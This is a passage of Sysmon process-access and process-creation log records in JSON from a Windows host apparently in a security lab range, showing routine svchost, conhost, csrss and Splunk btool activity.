System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1631,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1632,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.484\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001055F10200}\r\nTargetProcessId: 3884\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.484","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001055F10200}","TargetProcessId":"3884","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1633,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.502\r\nProcessGuid: {90617006-3FE5-5F2D-0000-0010C9F20200}\r\nProcessId: 3896\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: btool server list general --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-3FE5-5F2D-0000-001055F10200}\r\nParentProcessId: 3884\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.502","ProcessGuid":"{90617006-3FE5-5F2D-0000-0010C9F20200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"btool server list general --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-3FE5-5F2D-0000-001055F10200}","ParentProcessId":"3884","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1634,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-001055F10200}\r\nSourceProcessId: 3884\r\nSourceThreadId: 3888\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010C9F20200}\r\nTargetProcessId: 3896\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-001055F10200}","SourceProcessId":"3884","SourceThreadId":"3888","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010C9F20200}","TargetProcessId":"3896","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1635,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010C9F20200}\r\nTargetProcessId: 3896\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010C9F20200}","TargetProcessId":"3896","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1636,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1637,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1638,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1639,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1640,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 